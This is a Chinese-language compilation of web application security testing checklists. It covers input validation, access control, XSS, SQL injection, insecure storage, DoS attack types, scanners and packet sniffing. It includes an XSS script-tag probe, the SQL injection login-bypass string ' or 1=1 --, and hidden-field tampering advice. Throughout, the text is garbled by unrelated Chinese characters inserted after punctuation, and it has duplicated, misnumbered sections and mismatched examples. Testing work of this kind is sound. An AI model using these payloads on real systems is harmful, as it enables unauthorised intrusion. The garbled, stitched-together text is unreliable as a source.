web安全性測試

安全性測試

安全性測試主要是測試系統(tǒng)在沒有授權(quán)的內(nèi)部或者外部用戶對系統(tǒng)進行攻擊或者惡意破壞時如何進行處理伯诬,是否仍能保證數(shù)據(jù)和頁面的安全剃斧。測試人員可以學(xué)習(xí)一些黑客技術(shù),來對系統(tǒng)進行攻擊。另外,對操作權(quán)限的測試也包含在安全性測試中甩骏。具體測試內(nèi)容如下:執(zhí)行添加窗市、刪除、修改等動作中是否做過登錄檢測饮笛。退出系統(tǒng)之后的操作是否可以完成咨察。所有插入表單操作中輸入特殊字符是否可以正常輸正常存儲,特殊字符為:福青!?#¥%……—*()~——-+=[]{}摄狱、|;:‘”无午?/《》<>媒役,。在帶有參數(shù)的回顯數(shù)據(jù)的動作中更改參數(shù)宪迟,把參數(shù)改為特殊字符并加入操作語句看是否出錯酣衷。測試表單中有沒有做標(biāo)簽檢測,標(biāo)簽檢測是否完整次泽。在插入表單中加入特殊的HTML代碼鸥诽,例如:表單中的字本是否移動?箕憾。


系統(tǒng)安全性測試的十個重要問題

1:沒有被驗證的輸入

測試方法:

數(shù)據(jù)類型(字符串牡借,整型,實數(shù)袭异,等)

允許的字符集

最小和最大的長度

是否允許空輸入

參數(shù)是否是必須的

重復(fù)是否允許

數(shù)值范圍

特定的值(枚舉型)

特定的模式(正則表達式)

2:有問題的訪問控制

測試方法:

主要用于需要驗證用戶身份以及權(quán)限的頁面钠龙,復(fù)制該頁面的url地址,關(guān)閉該頁面以后御铃,查看是否可以直接進入該復(fù)制好的地址碴里;

例:從一個頁面鏈到另一個頁面的間隙可以看到URL地址,直接輸入該地址上真,可以看到自己沒有權(quán)限的頁面信息咬腋;

3:錯誤的認證和會話管理

分析:帳號列表:系統(tǒng)不應(yīng)該允許用戶瀏覽到網(wǎng)站所有的帳號,如果必須要一個用戶列表睡互,推薦使用某種形式的假名(屏幕名)來指向?qū)嶋H的帳號根竿。瀏覽器緩存:認證和會話數(shù)據(jù)作為GET的一部分來發(fā)送認證和會話數(shù)據(jù)不應(yīng)該作為GET的一部分來發(fā)送,應(yīng)該使用POST就珠,例:對Grid寇壳、Label、Tree view類的輸入框未作驗證妻怎,輸入的內(nèi)容會按照html語法解析出來壳炎;

4:跨站腳本(XSS

分析:攻擊者使用跨站腳本來發(fā)送惡意代碼給沒有發(fā)覺的用戶,竊取他機器上的任意資料逼侦;測試方法:

?HTML標(biāo)簽:<…>…</…>

?轉(zhuǎn)義字符:&(&)匿辩;<(<)腰耙;>(>);?(空格)铲球;

?腳本語言:

<scrīpt language=‘javascrīpt’>…Alert(‘’)</scrīpt>

?特殊字符:‘? ’ <? >? /

?最小和最大的長度

?是否允許空輸入?例:對Grid挺庞、Label、Tree view類的輸入框未作驗證睬辐,輸入的內(nèi)容會按照html語法解析出來

5:緩沖區(qū)溢出

沒有加密關(guān)鍵數(shù)據(jù)

分析:用戶使用緩沖區(qū)溢出來破壞web應(yīng)用程序的棧挠阁,通過發(fā)送特別編寫的代碼到web程序中宾肺,攻擊者可以讓web應(yīng)用程序來執(zhí)行任意代碼溯饵。

例:view-source:http地址可以查看源代碼

在頁面輸入密碼,頁面顯示的是*****,? 右鍵锨用,查看源文件就可以看見剛才輸入的密碼丰刊;

6:注入式漏洞

分析:用戶登錄處、不用登錄可以查看到的數(shù)據(jù)庫中的數(shù)據(jù)列表尤為重要增拥。例:一個驗證用戶登陸的頁面啄巧,如果使用的sql語句為:

Select *? from? table A where? username=’’ + username+’’ and pass word ….

Sql 輸入

‘ or 1=1 ――

就可以不輸入任何password進行攻擊;

7:不恰當(dāng)?shù)漠惓L幚?/b>

分析:程序在拋出異常的時候給出了比較詳細的內(nèi)部錯誤信息掌栅,暴露了不應(yīng)該顯示的執(zhí)行細節(jié)秩仆,網(wǎng)站存在潛在漏洞;

8:不安全的存儲

沒有加密關(guān)鍵數(shù)據(jù)

分析:帳號列表:系統(tǒng)不應(yīng)該允許用戶瀏覽到網(wǎng)站所有的帳號猾封,如果必須要一個用戶列表澄耍,推薦使用某種形式的假名(屏幕名)來指向?qū)嶋H的帳號。

瀏覽器緩存:認證和會話數(shù)據(jù)不應(yīng)該作為GET的一部分來發(fā)送晌缘,應(yīng)該使用POST齐莲;?例:view-source:http地址可以查看源代碼? ?在頁面輸入密碼,頁面不顯示?“*****”磷箕;?在頁面輸入密碼选酗,頁面顯示的是*****,數(shù)據(jù)庫中存的密碼沒有經(jīng)過加密;地址欄中可以看到剛才填寫的密碼岳枷;右鍵查看源文件就可以看見剛才輸入的密碼芒填;?

9:拒絕服務(wù)

分析:Config中的鏈接字符串以及用戶信息,郵件空繁,數(shù)據(jù)存儲信息都需要加以保護氢烘。攻擊者可以從一個主機產(chǎn)生足夠多的流量來耗盡狠多應(yīng)用程序,最終使程序陷入癱瘓家厌。需要做負載均衡來對付播玖。

10:不安全的配置管理

分析:Config中的鏈接字符串以及用戶信息,郵件饭于,數(shù)據(jù)存儲信息都需要加以保護

程序員應(yīng)該作的:配置所有的安全機制蜀踏,關(guān)掉所有不使用的服務(wù)维蒙,設(shè)置角色權(quán)限帳號,使用日志和警報果覆。

例:數(shù)據(jù)庫的帳號是不是默認為“sa”颅痊,密碼(還有端口號)是不是直接寫在配置文件里而沒有進行加密。

軟件安全測試涉及的方面

2.用戶名和密碼

l是否設(shè)置密碼最小長度l用戶名和密碼中是否可以有空格或回車局待?l是否允許密碼和用戶名一致l防惡意注冊:可否用自動填表工具自動注冊用戶斑响??l遺忘密碼處理l有無缺省的超級用戶?l有無超級密碼?l是否有校驗碼?l密碼錯誤次數(shù)有無限制钳榨?

3.直接輸入需要權(quán)限的網(wǎng)頁地址可以訪問

如:沒有登錄或注銷登錄后舰罚,直接輸入登錄后才能查看的頁面的網(wǎng)址,能直接打開頁面薛耻;? ? 注銷后营罢,點瀏覽器上的后退,可以進行操作饼齿。正常登錄后饲漾,直接輸入自己沒有權(quán)限查看的頁面的網(wǎng)址,可以打開頁面缕溉。

5.隱藏域與CGI參數(shù)

分析:有此隱藏域中泄露了重要的信息考传,有時還可以暴露程序原代碼。? ???直接修改CGI參數(shù)证鸥,就能繞過客戶端的驗證了僚楞。如:<input type="hidden" name="h" value="http://XXX/checkout.php">只要改變value的值就可能會把程序的原代碼顯示出來。

6.?上傳文件沒有限制

分析:上傳文件最好要有格式的限制敌土;? ???上傳文件還要有大小的限制镜硕。

7.把數(shù)據(jù)驗證寄希望于客戶端的驗證

分析:客戶端是不安全,重要的運算和算法不要在客戶端運行返干。? ?? ?重要的數(shù)據(jù)(如:密碼)在客戶端應(yīng)該加密兴枯。

例:保存網(wǎng)頁并對網(wǎng)頁進行修改拖云,使其繞過客戶端的驗證兼耀。(如只能選擇的下拉框,對輸入數(shù)據(jù)有特殊要求的文本框)

13.? ?傳輸中的密碼沒有加密

分析:傳輸中的密碼要進行加密寸谜。傳輸前加密用SSL加密癌淮,https的方式提交用戶名和密碼躺坟;如果使用tomcat做服務(wù)器的話,SSL加密只需配置就可以了:TOMCAT用https替換http的方法? ???//////////////////////////////////////////////////////////////? ???首先用java的工具keytool? ?生成一個ssl證書:? ?????keytool? ?-genkey? ?-keyalg? ?RSA? ?? ?? ?-alias? ?youraliasname? ???-keystore? ?.keystore? ?? ?? ? ??輸入keystore密碼:? ???yourpass? ???您的名字與姓氏是什么乳蓄?? ?? ?? ?[Unknown]:? ???liubin? ???您的組織單位名稱是什么咪橙?? ?? ?? ?[Unknown]:? ???test? ???您的組織名稱是什么?? ?? ?? ?[Unknown]:? ???www.test.com? ???您所在的城市或區(qū)域名稱是什么?? ?? ?? ?[Unknown]:? ???beijing? ???您所在的州或省份名稱是什么美侦?? ?? ?? ?[Unknown]:? ???beijing? ???該單位的兩字母國家代碼是什么? ?? ?? ?[Unknown]:? ???cn? ???CN=liubin,? ?OU=test,? ?O=www.test.com,? ?L=beijing,? ?ST=beijing,? ?C=cn? ?正確嗎产舞?? ?? ?? ?[否]:? ???y? ?????輸入<CidSoftKey>的主密碼? ?? ?? ?? ?? ?? ?? ?(如果和? ?keystore? ?密碼相同,按回車):


Web應(yīng)用系統(tǒng)的安全性測試區(qū)域主要有: ? ? ? ? (1)現(xiàn)在的Web應(yīng)用系統(tǒng)基本采用先注冊菠剩,后登陸的方式易猫。因此,必須測試有效和無效的用戶名和密碼具壮,要注意到是否大小寫敏感准颓,可以試多少次的限制,是否可以不登陸而直接瀏覽某個頁面等棺妓。? ? ? (2)Web應(yīng)用系統(tǒng)是否有超時的限制攘已,也就是說,用戶登陸后在一定時間內(nèi)(例如15分鐘)沒有點擊任何頁面涧郊,是否需要重新登陸才能正常使用贯被。? ? ? (3)為了保證Web應(yīng)用系統(tǒng)的安全性眼五,日志文件是至關(guān)重要的妆艘。需要測試相關(guān)信息是否寫進了日志文件、是否可追蹤看幼。 ? ? ? ? (4)當(dāng)使用了安全套接字時批旺,還要測試加密是否正確,檢查信息的完整性诵姜。 ? ? ? ? (5)服務(wù)器端的腳本常常構(gòu)成安全漏洞汽煮,這些漏洞又常常被黑客利用。所以棚唆,還要測試沒有經(jīng)過授權(quán)暇赤,就不能在服務(wù)器端放置和編輯腳本的問題。


我們覺得樓上的象是測試論壇或者需要登陸的網(wǎng)站呢? 我就順著加幾條吧: ? ? 1宵凌。登陸系統(tǒng)鞋囊,點擊退出系統(tǒng),或者注銷瞎惫,然后點擊IE的退出溜腐,看看能否再次登陸,這個對于安全也比較需要瓜喇,主要測試的是退出系統(tǒng)后挺益,對cok0kies ? ? 2。如果你的系統(tǒng)乘寒,客戶端比較多望众,那么就要判斷一個用戶能否同時在不同的機器上登陸 ? ? 3。使用了加密的軟件,WEB系統(tǒng)運行后烂翰,加密軟件異常叉袍,包括關(guān)閉,退出刽酱,此時你的WEb系統(tǒng)安全怎么處理 ? ? 4喳逛。你的WEB系統(tǒng)的教本信息是否會反應(yīng)一些你的數(shù)據(jù)庫信息,如棵里,當(dāng)前頁面涉及了你的數(shù)據(jù)庫里的那些表啦润文,等等。 ?


 六殿怜、安全測試

Web應(yīng)用系統(tǒng)的安全性測試區(qū)域主要有:

  1典蝌、 目錄設(shè)置

  Web 安全的第一步就是正確設(shè)置目錄。每個目錄下應(yīng)該有 index.html 或 main.html 頁面头谜,這樣就不會顯示該目錄下的所有內(nèi)容骏掀。如果沒有執(zhí)行這條規(guī)則。那么選中一幅圖片柱告,單擊鼠標(biāo)右鍵截驮,找到該圖片所在的路徑"…com/objects/images"。然后在瀏覽器地址欄中手工輸入該路徑际度,發(fā)現(xiàn)該站點所有圖片的列表葵袭。這可能沒什么關(guān)系。但是進入下一級目錄 "…com/objects" 乖菱,點擊 jackpot坡锡。在該目錄下有很多資料,其中有些都是已過期頁面窒所。如果該公司每個月都要更改產(chǎn)品價格信息鹉勒,并且保存過期頁面。那么只要翻看了一下這些記錄吵取,就可以估計他們的邊際利潤以及他們?yōu)榱藸幦∫粋€合同還有多大的降價空間禽额。如果某個客戶在談判之前查看了這些信息,他們在談判桌上肯定處于上風(fēng)海渊。

  2.登錄

  現(xiàn)在的Web應(yīng)用系統(tǒng)基本采用先注冊绵疲,后登陸的方式。因此臣疑,必須測試有效和無效的用戶名和密碼盔憨,要注意到是否大小寫敏感,可以試多少次的限制讯沈,是否可以不登陸而直接瀏覽某個頁面等郁岩。

  3.Session

  Web應(yīng)用系統(tǒng)是否有超時的限制婿奔,也就是說,用戶登陸后在一定時間內(nèi)(例如15分鐘)沒有點擊任何頁面问慎,是否需要重新登陸才能正常使用萍摊。

  4.日志文件

  為了保證Web應(yīng)用系統(tǒng)的安全性,日志文件是至關(guān)重要的如叼。需要測試相關(guān)信息是否寫進了日志文件冰木、是否可追蹤。

  5.加密

  當(dāng)使用了安全套接字時笼恰,還要測試加密是否正確踊沸,檢查信息的完整性。

  6.安全漏洞

  服務(wù)器端的腳本常常構(gòu)成安全漏洞社证,這些漏洞又常常被黑客利用逼龟。所以,還要測試沒有經(jīng)過授權(quán)追葡,就不能在服務(wù)器端放置和編輯腳本的問題腺律。

  目前網(wǎng)絡(luò)安全問題日益重要,特別對于有交互信息的網(wǎng)站及進行電子商務(wù)活動的網(wǎng)站尤其重要宜肉。目前我們的測試沒有涵蓋網(wǎng)站的安全性的測試匀钧,我們擬定采用工具來測定,

  工具如下

  SAINT------- Security Administrator’s Integrated Network Tool  此工具能夠測出網(wǎng)站系統(tǒng)的相應(yīng)的安全問題崖飘,并且能夠給出安全漏洞的解決方案榴捡,不過是一些較為常見的漏洞解決方案杈女。

應(yīng)用系統(tǒng)安全測試方法及內(nèi)容

測試內(nèi)容測試要點測試方法

應(yīng)用系統(tǒng)的用戶管理朱浴、權(quán)限管理應(yīng)充分利用操作系統(tǒng)和數(shù)據(jù)庫的安全性;應(yīng)用軟件運行時須有完整的日志記錄达椰。日志記錄的完整性檢測系統(tǒng)運行時是否會記錄完整的日志翰蠢。如進行詳單查詢,檢測系統(tǒng)是否會記錄相應(yīng)的操作員啰劲、操作時間梁沧、系統(tǒng)狀態(tài)、操作事項蝇裤、IP地址等廷支。

不允許以明文方式保存用戶密碼或系統(tǒng)使用的各類密碼用戶密碼或系統(tǒng)使用的各類密碼的加密存儲檢查數(shù)據(jù)庫中的用戶密碼、操作員密碼等字段是否是以加密方式保存栓辜。

為保證安全性恋拍,口令不允許以明碼的形式顯示在輸出設(shè)備上,應(yīng)能對口令進行如下限制:最小口令長度藕甩、強制修改口令的時間間隔施敢、口令的唯一性、口令過期失效后允許入網(wǎng)的寬限次數(shù)。1.口令不允許以明碼顯示在輸出設(shè)備上僵娃。

2.最小口令長度的限制概作。

3.強制修改的時間間隔限制。

4.口令的唯一性限制默怨。

5.口令過期失效后允許入網(wǎng)的寬限次數(shù)限制

實際登錄系統(tǒng)讯榕,輸入相應(yīng)的口令,檢測口令是否是以加密形式顯示匙睹,同時檢測最小口令長度瘩扼、強制修改口令的時間間隔、口令的唯一性垃僚、口令過期失效后允許入網(wǎng)的寬限次數(shù)集绰。

應(yīng)用系統(tǒng)應(yīng)支持操作失效時間的配置,當(dāng)操作員在所配置的時間內(nèi)沒有對界面進行任何操作則該應(yīng)用自動失效谆棺。1.支持操作失效時間的配置栽燕。

2.支持當(dāng)操作員在所配置的時間內(nèi)沒有對界面進行任何操作則該應(yīng)用自動失效。

檢測系統(tǒng)是否支持操作失效時間的配置改淑,同時達到所配置的時間內(nèi)沒有對界面進行任何操作時碍岔,檢測系統(tǒng)是否會將用戶自動失效,需要重新登錄系統(tǒng)朵夏。

應(yīng)用系統(tǒng)應(yīng)提供完善的審計功能蔼啦,對系統(tǒng)關(guān)鍵數(shù)據(jù)的每一次增加、修改和刪除都能記錄相應(yīng)的修改時間仰猖、操作人和修改前的數(shù)據(jù)記錄捏肢。支持系統(tǒng)關(guān)鍵數(shù)據(jù)進行維護的記錄功能。檢測對系統(tǒng)關(guān)鍵數(shù)據(jù)進行增加饥侵、修改和刪除時鸵赫,系統(tǒng)是否會記錄相應(yīng)的修改時間、操作人員和修改前的數(shù)據(jù)記錄躏升。

應(yīng)用程序的源代碼不允許放在運行主機上辩棒,應(yīng)另行存放,并具有版本控制能力膨疏。1.應(yīng)用程序的源代碼不允許放在運行主機上一睁,應(yīng)另行存放。

2.版本控制

1.登錄主機審查應(yīng)用程序的源代碼存放位置佃却。

2.查看支撐系統(tǒng)版本控制管理辦法或相似文件者吁,是否有相應(yīng)的版本管理規(guī)章制度;軟件升級双霍、補丁植入流程管理是否合理砚偶。

3.查看系統(tǒng)軟件版本記錄文件及軟件介質(zhì)與軟件操作手冊批销,是否有詳細的軟件版本號、軟件升級與補丁植入情況的記錄染坯。

各應(yīng)用軟件目錄設(shè)置及其訪問權(quán)限應(yīng)有相應(yīng)的規(guī)范均芽,以保證系統(tǒng)的安全性和可維護性。各應(yīng)用軟件目錄設(shè)置及其訪問權(quán)限應(yīng)有相應(yīng)的規(guī)范单鹿。審查是否有各應(yīng)用軟件目錄設(shè)置及其訪問權(quán)限相應(yīng)的規(guī)范文件掀宋。

接口程序連接登錄必須進行認證(根據(jù)用戶名、密碼認證)支持接口程序連接登錄時的認證仲锄。實際運行系統(tǒng)劲妙,檢測接口程序連接登錄時,是否需要輸入相應(yīng)的用戶名儒喊、密碼進行認證镣奋。


安全性測試

  1、功能驗證

  功能驗證是采用軟件測試當(dāng)中的黑盒測試方法怀愧,對涉及安全的軟件功能侨颈,如:用戶管理模塊,權(quán)限管理模塊芯义,加密系統(tǒng)哈垢,認證系統(tǒng)等進行測試,主要驗證上述功能是否有效扛拨,具體方法可使用黑盒測試方法耘分。

  2、漏洞掃描

  安全漏洞掃描通常都是借助于特定的漏洞掃描器完成的绑警。漏洞掃描器是一種自動檢測遠程或本地主機安全性弱點的程序求泰。通過使用漏洞掃描器,系統(tǒng)管理員能夠發(fā)現(xiàn)所維護信息系統(tǒng)存在的安全漏洞待秃,從而在信息系統(tǒng)網(wǎng)絡(luò)安全保衛(wèi)站中做到“有的放矢”拜秧,及時修補漏洞。按常規(guī)標(biāo)準章郁,可以將漏洞掃描分為兩種類型:主機漏洞掃 描器(Host Scanner)和網(wǎng)絡(luò)漏洞掃描器(Net Scanner)。主機漏洞掃描器是指在系統(tǒng)本地運行檢測系統(tǒng)漏洞的程序志衍,如著名的COPS暖庄、Tripewire、Tiger等自由軟件楼肪。網(wǎng)絡(luò)漏洞掃描器 是指基于網(wǎng)絡(luò)遠程檢測目標(biāo)網(wǎng)絡(luò)和主機系統(tǒng)漏洞的程序培廓,如Satan、ISS Internet Scanner等春叫。

  安全漏洞掃描是可以用于日常安全防護肩钠,同時可以作為對軟件產(chǎn)品或信息系統(tǒng)進行測試的手段泣港,可以在安全漏洞造成嚴重危害前,發(fā)現(xiàn)漏洞并加以防范价匠。

  3当纱、模擬攻擊實驗

  對于安全測試來說,模擬攻擊測試是一組特殊的黑盒測試案例踩窖,我們以模擬攻擊來驗證軟件或信息系統(tǒng)的安全防護能力坡氯,下面簡要列舉在數(shù)據(jù)處理與數(shù)據(jù)通信環(huán)境中特別關(guān)心的幾種攻擊。在下列各項中洋腮,出現(xiàn)了“授權(quán)”和“非授權(quán)”兩個術(shù)語箫柳。“授權(quán)”意指“授予權(quán)力”啥供,包含兩層意思:這里的權(quán)力是指進行某種活動的權(quán)力(例如訪問數(shù) 據(jù))悯恍;這樣的權(quán)力被授予某個實體、代理人或進程伙狐。于是坪稽,授權(quán)行為就是履行被授予權(quán)力(未被撤銷)的那些活動。

  ● 冒充:就是一個實體假裝成一個不同的實體鳞骤。冒充常與某些別的主動攻擊形式一起使用窒百,特別是消息的重演與篡改。例如豫尽,截獲鑒別序列篙梢,并在一個有效的鑒別序列使用過一次后再次使用。特權(quán)很少的實體為了得到額外的特權(quán)美旧,可能使用冒充成具有這些特權(quán)的實體渤滞,舉例如下。

  1) 口令猜測:一旦黑客識別了一臺主機榴嗅,而且發(fā)現(xiàn)了基于NetBIOS妄呕、Telnet或NFS服務(wù)的可利用的用戶帳號,并成功地猜測出了口令嗽测,就能對機器進行控制绪励。

  2) 緩沖區(qū)溢出:由于在很多地服務(wù)程序中大意的程序員使用類似于“strcpy(),strcat()”不進行有效位檢查的函數(shù)唠粥,最終可能導(dǎo)致惡意用戶編寫一 小段程序來進一步打開安全缺口疏魏,然后將該代碼放在緩沖區(qū)有效載荷末尾,這樣晤愧,當(dāng)發(fā)生緩沖區(qū)溢出時大莫,返回指針指向惡意代碼,執(zhí)行惡意指令官份,就可以得到系統(tǒng)的 控制權(quán)只厘。

  ● 重演:當(dāng)一個消息或部分消息為了產(chǎn)生非授權(quán)效果而被重復(fù)時烙丛,出現(xiàn)重演。例如羔味,一個含有鑒別信息的有效消息可能被另一個實體所重演河咽,目的是鑒別它自己(把它當(dāng)作其他實體)。

  ●消息篡改:數(shù)據(jù)所傳送的內(nèi)容被改變而未被發(fā)覺介评,并導(dǎo)致非授權(quán)后果库北,如下所示。

  1) DNS高速緩存污染:由于DNS服務(wù)器與其他名稱服務(wù)器交換信息的時候并不進行身份驗證们陆,這就使得黑客可以加入不正確得信息寒瓦,并把用戶引向黑客自己的主機。

  2) 偽造電子郵件:由于SMTP并不對郵件發(fā)送者的身份進行鑒定坪仇,因此黑客可以對內(nèi)部客戶偽造電子郵件杂腰,聲稱是來自某個客戶認識并相信的人,并附上可安裝的特洛伊木馬程序椅文,或者是一個指向惡意網(wǎng)站的鏈接喂很。

  ● 服務(wù)拒絕:當(dāng)一個實體不能執(zhí)行它的正常功能,或它的動作防礙了別的實體執(zhí)行它們的正常功能的時候皆刺,便發(fā)生服務(wù)拒絕少辣。這種攻擊可能是一般性的,比如一個實體抑制所有的消息羡蛾,也可能是有具體目標(biāo)的漓帅。例如,一個實體抑制所有流向某一特定目的端的消息痴怨,如安全審計服務(wù)忙干。這種攻擊可以是對通信業(yè)務(wù)流的抑制,或產(chǎn)生額外的通信業(yè)務(wù)流浪藻。也可能制造出試圖破壞網(wǎng)絡(luò)操作的消息捐迫,特別是如果網(wǎng)絡(luò)具有中繼實體,這些中繼實體根據(jù)從別的中繼實體那里接收到的狀態(tài)報告爱葵,來做出路由選擇的決定施戴。拒絕服務(wù)攻擊種類很多,舉例如下钧惧。

  1)死亡之ping(ping of death):由于在早期的階段暇韧,路由器對包的最大尺寸都有限制,許多操作系統(tǒng)對TCP/IP棧的實現(xiàn)在ICMP包上都規(guī)定為64KB浓瞪,并且在讀取包的標(biāo)題后,要根據(jù)該標(biāo)題頭里包含的信息來為有效載荷生成緩沖區(qū)巧婶。當(dāng)產(chǎn)生畸形的乾颁、聲稱自己的尺寸超過ICMP上限涂乌,也就是加載尺寸超過64K上限的包時,就會出 現(xiàn)內(nèi)存分配錯誤英岭,導(dǎo)致TCP/IP堆棧崩潰湾盒,致使接受方宕機。

  2) 淚滴(Teardorop):淚滴攻擊利用那些在TCP/IP堆棧實現(xiàn)中信任IP碎片中的包的標(biāo)題頭所包含的信息來實現(xiàn)自己的攻擊诅妹。IP分段含有指示該分段所包含的是原包的哪一段的信息罚勾,某些TCP/IP(包括Service Pack 4以前的NT)在收到含有重疊偏移的偽造分段時將崩潰。

  3) UDP洪水(UDP Flood): 各種各樣的假冒攻擊利用簡單的TCP/IP服務(wù)吭狡,如Chargen和Echo來傳送毫無用處的數(shù)據(jù)以占滿帶寬尖殃。通過偽造與某一主機的Chargen服務(wù)之間的一次的UDP連接,回復(fù)地址指向開著Echo服務(wù)的一臺主機划煮,這樣就生成在兩臺主機之間的足夠多的無用數(shù)據(jù)流,如果數(shù)據(jù)流足夠多,就會導(dǎo)致帶寬的服務(wù)攻擊烙懦。

  4) SYN洪水(SYN Flood):一些TCP/IP棧的實現(xiàn)铺韧,只能等待從有限數(shù)量的計算機發(fā)來的ACK消息,因為它們只有有限的內(nèi)存緩沖區(qū)用于創(chuàng)建連接蟹略,如果這一緩沖區(qū)充滿 了虛假連接的初始信息登失,該服務(wù)器就會對接下來的連接請求停止響應(yīng),直到緩沖區(qū)里的連接企圖超時為止挖炬。在一些創(chuàng)建連接不受限制的實現(xiàn)里揽浙,SYN洪水也具有類 似的影響。

  5) Land攻擊:在Land攻擊中茅茂,一個特別打造的SYN包的原地址和目標(biāo)地址都被設(shè)置成某一個服務(wù)器地址捏萍,這將導(dǎo)致接受服務(wù)器向它自己的地址發(fā)送SYN- ACK消息,結(jié)果空闲,這個地址又發(fā)回ACK消息并創(chuàng)建一個空連接令杈,每一個這樣的連接都將保留,直到超時碴倾。各種系統(tǒng)對Land攻擊的反應(yīng)不同逗噩,許多UNIX實 現(xiàn)將崩潰,NT變得極其緩慢(大約持續(xù)5分鐘)跌榔。

  6)?Smurf攻擊:一個簡單的Smurf攻擊异雁,通過使用將回復(fù)地址設(shè)置成受害網(wǎng)絡(luò)的廣播地址的ICMP應(yīng)答請求(ping)數(shù)據(jù)包,來淹沒受害主機的方式進 行僧须,最終導(dǎo)致該網(wǎng)絡(luò)的所有主機都對此ICMP應(yīng)答請求作出答復(fù)纲刀,導(dǎo)致網(wǎng)絡(luò)阻塞,比“Ping of Death”洪水的流量高出一個或兩個數(shù)量級担平。更加復(fù)雜的Smurf將源地址改為第三方的受害者示绊,最終導(dǎo)致第三方雪崩锭部。

  7) Fraggle攻擊:Fraggle攻擊對Smurf攻擊作了簡單的修改,使用的是UDP應(yīng)答消息面褐,而非ICMP拌禾。

  8) 電子郵件炸彈:電子郵件炸彈是最古老的匿名攻擊之一,通過設(shè)置一臺機器展哭,不斷大量地向同一地址發(fā)送電子郵件湃窍,攻擊者能夠耗盡接收者網(wǎng)絡(luò)的帶寬。

  9) 畸形消息攻擊:各類操作系統(tǒng)上的許多服務(wù)都存在此類問題匪傍,由于這些服務(wù)在處理信息之前沒有進行適當(dāng)正確的錯誤校驗您市,在收到畸形的信息時可能會崩潰。

  ●內(nèi)部攻擊:當(dāng)系統(tǒng)的合法用戶以非故意或非授權(quán)方式進行動作時就成為內(nèi)部攻擊析恢。多數(shù)已知的計算機犯罪都和使系統(tǒng)安全遭受損害的內(nèi)部攻擊有密切的關(guān)系墨坚。能用來防止內(nèi)部攻擊的保護方法包括:所有管理數(shù)據(jù)流進行加密;利用包括使用強口令在內(nèi)的多級控制機制和集中管理機制來加強系統(tǒng)的控制能力映挂;為分布在不同場所的業(yè)務(wù)部門劃分VLAN泽篮,將數(shù)據(jù)流隔離在特定部門;利用防火墻為進出網(wǎng)絡(luò)的用戶提供認證功能柑船,提供訪問控制保護帽撑;使用安全日志記錄網(wǎng)絡(luò)管理數(shù)據(jù)流等。

  ● 外部攻擊:外部攻擊可以使用的方法有:搭線(主動的與被動的)鞍时、截取輻射亏拉、冒充為系統(tǒng)的授權(quán)用戶、冒充為系統(tǒng)的組成部分逆巍、為鑒別或訪問控制機制設(shè)置旁路等及塘。

  ● 陷阱門:當(dāng)系統(tǒng)的實體受到改變,致使一個攻擊者能對命令或?qū)︻A(yù)定的事件或事件序列產(chǎn)生非授權(quán)的影響時锐极,其結(jié)果就稱為陷阱門笙僚。例如,口令的有效性可能被修改灵再,使得除了其正常效力之外也使攻擊者的口令生效肋层。

  ● 特洛伊木馬:對系統(tǒng)而言的特洛伊木馬,是指它不但具有自己的授權(quán)功能翎迁,而且還有非授權(quán)功能栋猖。一個向非授權(quán)信道拷貝消息的中繼就是一個特洛伊木馬。典型的特洛伊木馬有NetBus汪榔、BackOrifice和BO2k等蒲拉。

  4、偵聽技術(shù)

  偵聽技術(shù)實際上是在數(shù)據(jù)通信或數(shù)據(jù)交互過程,對數(shù)據(jù)進行截取分析的過程全陨。目前最為流行的是網(wǎng)絡(luò)數(shù)據(jù)包的捕獲技術(shù)爆班,通常我們稱為Capture衷掷,黑客可以利用該項技術(shù)實現(xiàn)數(shù)據(jù)的盜用辱姨,而測試人員同樣可以利用該項技術(shù)實現(xiàn)安全測試。

  該項技術(shù)主要用于對網(wǎng)絡(luò)加密的驗證戚嗅。


安全性測試

安全性測試是有關(guān)驗證應(yīng)用程序的安全服務(wù)和識別潛在安全性缺陷的過程雨涛。此節(jié)包括一些重要的測試建議,用來驗證已創(chuàng)建安全的應(yīng)用程序懦胞。

由于攻擊者沒有闖入的標(biāo)準方法替久,因而也沒有實施安全性測試的標(biāo)準方法。另外躏尉,目前幾乎沒有可用的工具來徹底測試各個安全方面蚯根。由于應(yīng)用程序中的功能錯誤也可代表潛在的安全性缺陷,因此在實施安全性測試以前需要實施功能測試胀糜。

有一點很重要颅拦,應(yīng)注意安全性測試并不最終證明應(yīng)用程序是安全的。而是只用于驗證所設(shè)立對策的有效性教藻,這些對策是基于威脅分析階段所做的假設(shè)而選擇的距帅。

下面提供測試應(yīng)用程序安全性的一些建議。

測試緩沖區(qū)溢出

緩沖區(qū)溢出是計算機歷史中被利用的第一批安全錯誤之一括堤。目前碌秸,緩沖區(qū)溢出繼續(xù)是最危險也是最常發(fā)生的弱點之一。試圖利用這種脆弱性可以導(dǎo)致種種問題悄窃,從損壞應(yīng)用程序到攻擊者在應(yīng)用程序進程中插入并執(zhí)行惡意代碼讥电。

將數(shù)據(jù)寫入緩沖區(qū)時,開發(fā)人員向緩沖區(qū)寫入的數(shù)據(jù)不能超出其所能存放的數(shù)據(jù)轧抗。如果正在寫入的數(shù)據(jù)量超出已分配的緩沖區(qū)空間恩敌,將發(fā)生緩沖區(qū)溢出。當(dāng)發(fā)生緩沖區(qū)溢出時鸦致,會將數(shù)據(jù)寫入到可能為其他用途而分配的內(nèi)存部分中潮剪。最壞的情形是緩沖區(qū)溢出包含惡意代碼,該代碼隨后被執(zhí)行分唾。緩沖區(qū)溢出在導(dǎo)致安全脆弱性方面所占的百分比很大抗碰。

實施源代碼安全檢查

根據(jù)所討論應(yīng)用程序的敏感程度,實施對應(yīng)用程序源代碼的安全審核可能是明智的绽乔。不要將源代碼審核與代碼檢查相混淆弧蝇。標(biāo)準代碼檢查的目的是識別影響代碼功能的一般代碼缺陷。源代碼安全檢查的目的則是識別有意或無意的安全性缺陷。開發(fā)處理財政事務(wù)或提供公共安全的應(yīng)用程序時尤其應(yīng)保證進行這種檢查看疗。

驗證應(yīng)急計劃

總是存在應(yīng)用程序的安全防御被突破的潛在可能沙峻,只有應(yīng)急計劃就位并有效才是明智的。在應(yīng)用程序服務(wù)器或數(shù)據(jù)中心檢測到病毒時將采取哪些步驟两芳?安全性被越過時摔寨,必須迅速作出反應(yīng)來防止進一步損壞。在應(yīng)急計劃投入實戰(zhàn)以前請弄清它們是否起作用怖辆。

攻擊您的應(yīng)用程序

測試人員習(xí)慣于攻擊應(yīng)用程序以試圖使其失敗是复。攻擊您自己的應(yīng)用程序是與其類似但目的更集中的過程。嘗試攻擊應(yīng)用程序時竖螃,應(yīng)尋找代表應(yīng)用程序防御弱點的淑廊、可利用的缺陷。

